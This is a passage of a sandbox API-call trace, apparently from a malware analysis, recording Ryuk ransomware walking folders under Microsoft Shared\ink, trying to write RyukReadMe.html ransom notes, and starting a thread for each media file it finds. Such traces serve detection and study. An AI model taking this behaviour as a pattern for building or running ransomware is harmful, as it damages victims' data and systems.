	[0124.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.932] GetLastError () returned 0x5
	[0124.932] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.934] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.934] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0124.934] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0124.934] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0124.934] SetLastError (dwErrCode=0x0) 
	[0124.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.934] GetLastError () returned 0x5
	[0124.935] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.935] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0124.935] SetLastError (dwErrCode=0x0) 
	[0124.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.935] GetLastError () returned 0x5
	[0124.935] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.936] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.937] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0124.937] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0124.937] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0124.937] SetLastError (dwErrCode=0x0) 
	[0124.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.937] GetLastError () returned 0x5
	[0124.937] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.938] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0124.938] SetLastError (dwErrCode=0x0) 
	[0124.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.938] GetLastError () returned 0x5
	[0124.938] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.941] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.941] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0124.941] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0124.941] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0124.941] SetLastError (dwErrCode=0x0) 
	[0124.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.942] GetLastError () returned 0x5
	[0124.942] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.942] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.942] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0124.942] SetLastError (dwErrCode=0x0) 
	[0124.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.942] GetLastError () returned 0x5
	[0124.942] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.944] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.944] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0124.944] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0124.944] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0124.944] SetLastError (dwErrCode=0x0) 
	[0124.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.945] GetLastError () returned 0x5
	[0124.945] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.945] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0124.945] SetLastError (dwErrCode=0x0) 
	[0124.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.946] GetLastError () returned 0x5
	[0124.946] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.946] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.951] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.951] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0124.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0124.953] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.954] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1
	[0124.954] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0124.956] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.957] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1
	[0124.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0124.959] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.960] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1
	[0124.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0124.962] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.963] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x84, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1
	[0124.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0124.966] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.967] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x84, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1
	[0124.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c
	[0125.162] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.162] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x84, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1
